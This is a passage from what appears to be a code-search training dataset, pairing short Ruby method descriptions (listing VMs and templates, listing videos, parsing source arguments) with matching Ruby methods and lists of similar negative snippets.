"def generate_color\n colors= [\n \"#FF3AAE\",\n \"#B9D61A\",\n \"#952DE1\",\n \"#A4D789\",\n \"#51A3A3\",\n \"#D96C06\",\n \"#039be5\"\n ];\n\n @p_colors=[]\n cnt=Flavor.all.length\n colors.cycle(cnt) do |color|\n @p_colors.push(color)\n @cnt=1\n end\n end",
"def vary_colors; end",
"def iterate_color(colors)\n colors.map { |item| item }\nend",
"def backstep_color()\n @pulseStep -= 1\n @pulseStep = @pulse * 2 if @pulseStep < 0\n color\n end",
"def init_colors\n @color_pairs = []\n COLORS.each_with_index do |fg,fgi|\n (COLORS-[fg]).each_with_index do |bg,bgi|\n Curses.init_pair(fgi*10+bgi,fg,bg)\n @color_pairs << fgi*10+bgi\n end\n end\n end",
"def rainbow\n (0..256).each{ |color| \n print Paint[' ',48,5,color] # print empty bg color field\n }\n puts\n end",
"def calc_colorlist(first, last)\n f = first.gsub!(/#/,'').to_i(16)\n l = last.gsub!(/#/,'').to_i(16)\n step = ((l - f) / (@colorcount)).to_i\n c = 1\n while c <= @colorcount do\n @colors[c] = \"#%06x\" % (f + c * step)\n c += 1\n end\n puts @colors\n end",
"def next_color\n nc = @colors.shift\n @colors.push(nc)\n nc\n end",
"def rainbow\n (0...256).each{ |color| \n print Paint[' ', 48, 5, color] # print empty bg color field\n }\n puts\n end",
"def cycle!\n traffic_lights.each { |light| \n puts light\n puts light.red \n light.change }\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Parse the JSON from all VMs and templates. Then return an array of objects (without duplicates)
|
def read_vms_info
vms_arr = json([]) do
execute_prlctl('list', '--all','--info', '--json')
end
templates_arr = json([]) do
execute_prlctl('list', '--all','--info', '--json', '--template')
end
vms_arr | templates_arr
end
|
[
"def read_vms_info\n args = %w(list --all --info --no-header --json)\n vms_arr = json([]) { execute_prlctl(*args) }\n templates_arr = json([]) { execute_prlctl(*args, '--template') }\n\n vms_arr | templates_arr\n end",
"def read_all_info\n vms_arr = json({}) do\n execute('list', '--info', '--json', retryable: true).gsub(/^(INFO)?/, '')\n end\n templates_arr = json({}) do\n execute('list', '--info', '--json', '--template', retryable: true).gsub(/^(INFO)?/, '')\n end\n vms_arr | templates_arr\n end",
"def nodes_from_json\n json_dir = File.expand_path(\"../../vcloud-templates/machines\", __FILE__)\n json_local = File.expand_path(\"../nodes.local.json\", __FILE__)\n\n unless File.exists?(json_dir)\n puts \"Unable to find nodes in 'vcloud-templates' repo\"\n puts\n return {}\n end\n\n json_files = Dir.glob(\n File.join(json_dir, \"**\", \"*.json\")\n )\n\n nodes = Hash[\n json_files.map { |json_file|\n node = JSON.parse(File.read(json_file))\n name = node[\"vm_name\"] + \".\" + node[\"zone\"]\n\n # Ignore physical attributes.\n node.delete(\"memory\")\n node.delete(\"num_cores\")\n\n [name, node]\n }\n ]\n\n # Local JSON file can override node properties like \"memory\".\n if File.exists?(json_local)\n nodes_local = JSON.parse(File.read(json_local))\n nodes_local.each { |k,v| nodes[k].merge!(v) if nodes.has_key?(k) }\n end\n\n nodes\nend",
"def load_templates\n # read json templates\n vpc_json = File.read('./templates/json/vpc.json')\n subnet_json = File.read('./templates/json/subnet.json')\n bucket_json = File.read('./templates/json/s3bucket.json')\n parameters_json = File.read('./templates/json/parameters.json')\n ec2_json = File.read('./templates/json/ec2.json')\n\n #parse\n @vpc = JSON.parse(vpc_json)\n @subnet = JSON.parse(subnet_json)\n @bucket = JSON.parse(bucket_json)\n @parameters = JSON.parse(parameters_json)\n @ec2 = JSON.parse(ec2_json)\n end",
"def get_machines(json_vms)\n fd = File.read(File.new(json_vms))\n @@vm_names = JSON.parse(fd)\n # append the prefixes at begin of vms names.\n @@prefixes.each do |prefix|\n @@vm_names.each do |name, status|\n @@prod_vm_names[prefix + name] = \"OFF\"\n end\n end\n end",
"def templates\n response = get \"storage/template\"\n data = JSON.parse response.body\n data\n end",
"def get_vms()\n @vms = Array.new # Clear out array\n\n # get the vms api and get the list of vms\n vms_data = XmlSimple.xml_in(@rhevm[\"/api/vms\"].get.body, {'ForceArray' => false})\n\n # Force the value of the 'vm' key to be an array when only one vm is returned and is a Hash.\n vms_data['vm'] = [vms_data['vm']] if vms_data['vm'].class == Hash\n\n # Iterate through the VM's and get all the\n # required information\n vms_data['vm'].each do |vm|\n # Making sure we only consider VM's that are in state up (so they do have a console to connect to)\n # and that have the spice protocol enabled as the connection mode\n if vm['status']['state'] == \"up\" && vm['display']['type'] == \"spice\"\n @vms.push(VirtualMachine.new(vm))\n end\n end\n return @vms\n end",
"def templates\n response = get \"storage/template\"\n data = JSON.parse response.body\n data\n end",
"def create_templates(json_response)\n json_response.map do |t|\n obj = Template.new(t)\n end\n end",
"def retrieve_all_template_info\n puts \"Retrieving all template ids and names for #{@primary_username} ...\"\n puts\n\n uri = URI(@config['endpoint'])\n\n # Retrieve templates\n http = Net::HTTP.new( uri.host,uri.port )\n http.use_ssl = true\n request = Net::HTTP::Get.new( uri.request_uri )\n request.basic_auth(@primary_username, @primary_password)\n\n response = http.request( request )\n templates = JSON.parse( response.body )\n\n # Create template_id array\n @template_array = Array.new\n\n # Create a template hash w/ name and id for each template found\n templates['templates'].each do |t|\n @template_array.push({:id => t['id'], :name => t['name']})\n end\n\n # Return constructed temmplate array\n return template_array\n end",
"def virtual_machine_templates\n kubevirt_client.get_virtual_machine_templates(namespace: @namespace)\n end",
"def get_vm_objects_from_list_output(output)\n vms = output.split(\"\\n\").select do |vm|\n vm.include?('.vmx') &&\n File.exists?(vm) &&\n File.extname(vm) == '.vmx'\n end\n\n vms.collect do |vm|\n Fission::VM.new File.basename(File.dirname(vm), '.vmwarevm')\n end\n end",
"def templates\n extracted_templates = []\n\n unless self.templates_list.nil? \n self.templates_list.each do |template|\n extracted_templates.push(Template.new(template))\n end\n end\n\n return extracted_templates \n end",
"def get_vm_list(vm_name_pattern, client)\n vm_list = Array.new\n vm_pool = VirtualMachinePool.new(client, -1)\n #controla se houve erro na request\n rc = vm_pool.info\n if OpenNebula.is_error?(rc)\n puts rc.message\n exit -1\n end\n vm_pool.each do |vm|\n vm.info\n r = Regexp.new(vm_name_pattern)\n #verificamos se ha vms do servico em questao, se nao tiver criar essa miseria\n if (!r.match(vm.name.to_s).nil?)\n vm_list.push(vm) \n end\n end\n return vm_list\nend",
"def wilds\n [self.to_hash['HOST']['TEMPLATE']['VM']].flatten.compact\n end",
"def all_vms\n\t\tmanage('list', 'vms').scan(/^\"(.*)\" \\{[-\\h]+\\}/)\n\tend",
"def parse json; return JSON.parse File.read json end",
"def vms\n load! if !loaded?\n @vms ||= load_vms!\n end",
"def vms(options = {})\n return [] if type.to_s != 'vm'\n service.servers(folder: path, datacenter: datacenter, recursive: options[:recursive])\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
GET /videos/list GET /videos/list.json
|
def list
@videos = Video.all
respond_to do |format|
format.html # list.html.erb
format.json { render json: @videos }
end
end
|
[
"def list(options = {})\n make_request(:get, \"/videos\", options)\n end",
"def videos options={}\n response = client.get(\"/#{id}/videos\", options)\n end",
"def index\n @videos = Video.all\n render json: @videos\n end",
"def video_list(login = nil, authenticated = false, page=1)\n result = []\n response = nil\n if authenticated\n response = auth_connection(HTTP_GET, \"/api/#{login}/videos.xml?page=#{page}\")\n else\n response = public_connection(HTTP_GET, \"/api/#{login}/videos.xml?page=#{page}\")\n end\n if response and response.body\n doc = REXML::Document.new response.body\n videos = doc.elements['videos']\n videos.elements.each('video') do |video|\n result << Video.new(video.to_s)\n end\n end\n result\n end",
"def index\n # video = Video.new()\n @video_list = Video.get_list()\n end",
"def index\n @videos = Video.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def index\n @videolists = Videolist.all\n end",
"def index\n @video_lists = VideoList.all\n end",
"def video_list\n videos.map { |video| video.title }\n end",
"def list_assets\n get('/video/v1/assets')\n end",
"def video_list\n self.video_list = videos.map { |video| video[\"title\"] }\n end",
"def get_album_videos album_id\n get(\"/albums/#{album_id}/videos\")\n end",
"def videos options = {}\n perform_get_with_object(\"/channels/#{get_id}/videos\", options, Vimeo::Entities::Video)\n end",
"def videos(product_id, params = {})\n response, status = BeyondApi::Request.get(@session,\n \"/products/#{product_id}/videos\",\n params)\n\n handle_response(response, status)\n end",
"def index\n @videosongs = Videosong.all\n end",
"def show\n @videos = @video_set.videos\n end",
"def videos_for_page(page_number)\n @client.get('viddler.videos.getByUser', :user => @username, :per_page => API_PER_PAGE,\n :page => page_number, :visibility => 'public,embed')['list_result']['video_list']\n end",
"def get_all_videos\n # get the first set of results\n video_list = []\n start_index = 1\n response = YouTubeApiCallsHelper.get_video_list(start_index)\n YouTubeApiCallsHelper.parse_video_list(response.body, video_list)\n total_results = YouTubeApiCallsHelper.get_total_results(response.body)\n\n # if there are more results to fetch, loop till we have them all\n while video_list.length < total_results\n start_index += YouTubeApiCallsHelper::MAXRESULTS\n response = YouTubeApiCallsHelper.get_video_list(start_index)\n YouTubeApiCallsHelper.parse_video_list(response.body, video_list)\n end\n\n return video_list\n end",
"def index\n @current_videos = CurrentVideo.all\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
source can take any of the following as arguments A single string argument Multiple string arguments An array or strings A delayed evaluator that evaluates to a string or array of strings All strings must be parsable as URIs. source returns an array of strings.
|
def source(*args)
arg = parse_source_args(args)
ret = set_or_return(:source,
arg,
{ callbacks: {
validate_source: method(:validate_source),
} })
if ret.is_a? String
Array(ret)
else
ret
end
end
|
[
"def source(*args)\n arg = parse_source_args(args)\n ret = set_or_return(:source,\n arg,\n { :callbacks => {\n :validate_source => method(:validate_source),\n } })\n if ret.is_a? String\n Array(ret)\n else\n ret\n end\n end",
"def sources\n @sources.collect {|s| \"'#{s}'\"}\n end",
"def source(*args) # (optional-name, optional-proc, optional-opts, &optional-block)\n #return self[__method__] unless args.any?\n return source_array unless args.any?\n opts = args.last.is_a?(Hash) ? args.pop : Hashy.new\n source_name = args.shift if [String, Symbol].any?{|t| args[0].is_a?(t)}\n code = case\n when block_given?; Proc.new\n when opts[:code]; opts.delete(:code)\n when args[0].is_a?(Proc); args.shift\n when args.any?; args\n else nil\n end \n self[:source] ||= Hashie::Array.new\n #log :debug, \"Declaring #{source_name}.source: #{name}, #{opts}, #{prc}\"\n debug{\"Declaring source :#{source_name} for #{name}: #{opts}, #{code}\"}\n source_hash = Hashy.new({name: source_name, code: code}.merge(opts))\n self[:source] << source_hash\n end",
"def source_list(source)\n case source\n when Array: source.join(COMMA_SEPARATOR)\n else source\n end \n end",
"def source *args\n first = args.shift\n if args.blank? and first.is_a?(String) \n # uri(first).to_s\n url = uri first\n \"#{url.host}#{':'+url.port.to_s unless url.port == 80}\"\n elsif first.is_a? Hash\n sources.each do |source, options|\n return source if options == first\n end\n else\n if first.is_a? String\n url = source first\n # elsif args.size != 3\n # raise ArgumentError, \"Invalid agruments: url or [:locale, :format, :index] is required\"\n end\n args = args.index_by do |arg|\n if arg.is_a? Fixnum\n :index\n elsif I18n.available_locales.include? arg.to_sym\n :locale\n elsif formats.include? arg.to_s\n :format\n else\n raise ArgumentError, \"Invalid argument '#{arg}' in #{([first]+args).inspect}\"\n end\n end\n args[:locale] ||= I18n.locale\n args[:locale] = args[:locale].to_s\n args[:format] ||= format(url) || :screen\n args[:format] = args[:format].to_s\n args[:index] ||= sources[url][:index]\n \n # raise args.inspect\n source args\n #raise ArgumentError, \"Arguments is not found in config file or config file is corrupt\"\n end\n end",
"def get_source_content\n\t\treturn [] unless File.exists? @source\n\t\treturn File.read(@source).split(\"\\n\")\n\tend",
"def source\n @source_lines.join\n end",
"def source_list(source)\n raise(Error, 'No source specified for query') if source.nil? || source.empty?\n source.map{|s| table_ref(s)}.join(COMMA_SEPARATOR)\n end",
"def procs_for_source(source)\n # Convert all pathnames to strings so we just have their path\n source = source.to_s if source.is_a?(Pathname)\n\n if source.is_a?(Array)\n # An array must be formatted as [version, proc], so verify\n # that and then return it\n raise ArgumentError, \"String source must have format [version, proc]\" if source.length != 2\n\n # Return it as an array since we're expected to return an array\n # of [version, proc] pairs, but an array source only has one.\n return [source]\n elsif source.is_a?(String)\n # Strings are considered paths, so load them\n return procs_for_path(source)\n else\n raise ArgumentError, \"Unknown configuration source: #{source.inspect}\"\n end\n end",
"def source_array\n @source_array ||=\n if new_resource.source.nil?\n package_name_array.map { nil }\n else\n [ new_resource.source ].flatten\n end\n end",
"def source_text(source)\n if source.respond_to?(:to_path)\n ::File.read(source.to_path)\n elsif source.respond_to?(:read)\n source.read\n elsif source.respond_to?(:to_str)\n source.to_str\n else\n raise ArgumentError, \"Unable to parse from #{source}\", caller\n end\n end",
"def parse_source(source)\n if source.count == 1 && source.first.kind_of?(Hash) && source.first.key?(:controller)\n source = source.first\n controller = source[:controller]\n action = source.key?(:action) ? source[:action] : nil\n else\n controller = source.first\n action = source.count > 1 ? source[1] : nil\n end\n [controller, action]\n end",
"def get_file_contents(source)\n uri = get_file_uri(source)\n eval(\"\\\"\" + read_uri(uri).gsub(/\"/, '\\\"') + \"\\\"\")\nend",
"def source\n return @source if @source\n WHITELIST_REGEXES.each_pair do |name, reg|\n if source_url =~ reg\n @source = name\n break\n end\n end\n @source\n end",
"def get(source, *args, &block); end",
"def source() end",
"def source_list(source)\n if source.nil? || source.empty?\n raise Error, 'No source specified for query'\n end\n auto_alias_count = @opts[:num_dataset_sources] || 0\n m = source.map do |s|\n case s\n when Dataset\n auto_alias_count += 1\n s.to_table_reference(\"t#{auto_alias_count}\")\n else\n table_ref(s)\n end\n end\n m.join(COMMA_SEPARATOR)\n end",
"def source_urls\n get_urls( source_url, source_mirrors, source_reference, source_type, 'source')\n end",
"def set_source_string(opts)\n opts = check_params(opts,[:sources])\n super(opts)\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.